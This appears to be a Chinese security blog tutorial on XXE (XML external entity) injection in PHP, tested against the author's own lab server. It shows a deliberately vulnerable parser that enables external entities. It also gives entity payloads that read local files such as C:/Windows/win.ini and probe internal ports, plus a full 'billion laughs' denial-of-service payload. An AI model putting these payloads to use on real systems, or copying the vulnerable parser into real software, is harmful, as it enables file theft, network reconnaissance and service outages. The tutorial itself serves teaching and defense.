XXE前置要求
只有知道开发时如何生成,传输,使用XML文件才能够知道如何进行漏洞利用,代码审计,以及防范。
php生成XML文件
目标将前端提交数据到后端来进行生成XML
前端登录测试页面
<?php
header('Content-Type: text/xml;');
$dom = new DomDocument('1.0','utf-8');// 创建头部声明
$rootEle = $dom->createElement('userinfo');//创建根节点
$dom->appendChild($rootEle);//追加到DOM对象
$user = $_POST['user'];//追加元素
$userNode = $dom->createTextNode($user);
$line = $dom->createElement('user');//创建元素
$line->appendChild($userNode);
$rootEle->appendChild($line);//追加元素
$pass = $_POST['password'];//追加元素
$passNode = $dom->createTextNode($pass);
$line = $dom->createElement('password');//创建元素
$line->appendChild($passNode);
$rootEle->appendChild($line);//追加元素
$str = $dom->saveXML();//保存
echo $str;
?>
通过POST关键数据user和password到后端,进行php生成xml
例如post数据 user
: test
password
: 123456
XML数据传输至后端解析
提交XML实体执行将xml代码通过留言板的方式提交至后端,成功执行DTD中声明的实体
<?php
libxml_disable_entity_loader(false);
$data = isset($_POST['xxe'])?trim($_POST['xxe']):'';
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
echo $resp;
ob_end_clean();
}
其中的关键代码libxml_disable_entity_loader(false);
允许外部实体加载
XXE漏洞利用
- 任意文件读取
为了能够更好的理解,任意文件读取的意思,我在网站同目录下创建了标志性的txt文本文件
1.txt文件内容
通过修改实体内容,修改为<!ENTITY content SYSTEM "./1.txt">
成功实现了txt文件读取
为了证明文件读取是可以在网站目录范围外,本次尝试读取非网站内的文件windows系统存在的C:/Windows/win.ini
文件。
通过外部实体读取到关键文件C:/Windows/win.ini - 端口探测
这个漏洞利用,有点类似与SSRF,通过服务器来进行内网(攻击者未获得授权)的服务器/个人电脑进行端口扫描。
通过修改实体内容,修改为<!ENTITY content SYSTEM "http://192.168.163.128">
来探测80端口
成功探测到80端口开放
发现了相关标签,以及html中空格的 实体的警告,进一步知道该端口有web服务运行。
8080端口依旧开放
8888端口未开放
通过对其他端口的测试也发现了开放与未开放的不同之处。 -
执行系统命令
要通过利用XXE漏洞执行系统命令,需要一定的环境条件,需要安装expect扩展,详细攻击效果可参考加油站资料。
执行系统命令,环境不存在导致无法执行 - 发起Dos攻击
由于自身Web服务原因,对于该项利用方式,不亲自进行演示,附上如下POC代码,本身原理,就是通过实体的嵌套性使用导致
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>
加油站:
- 强烈推荐
腾讯安全应急响应中心发布的 未知攻焉知防——XXE漏洞攻防
安全客 【技术分享】XXE漏洞攻防之我见 - 对Dos攻击方式的详细解答 XXE注入攻击与防御
- Freebuf Blind XXE详解与Google CTF一道题分析
- AD攻防工作室 Xml 外部实体注入(xxe)
第一篇:XML简介(1)--头部声明
第二篇:XML编写(2)--语法要求
第三篇:XML规范(3)--DTD限制
第四篇:XML引用(4)--DTD应用
第五篇:XXE基础(1)--实体类别
第七篇:XXE后记(3)--抛砖引玉
网友评论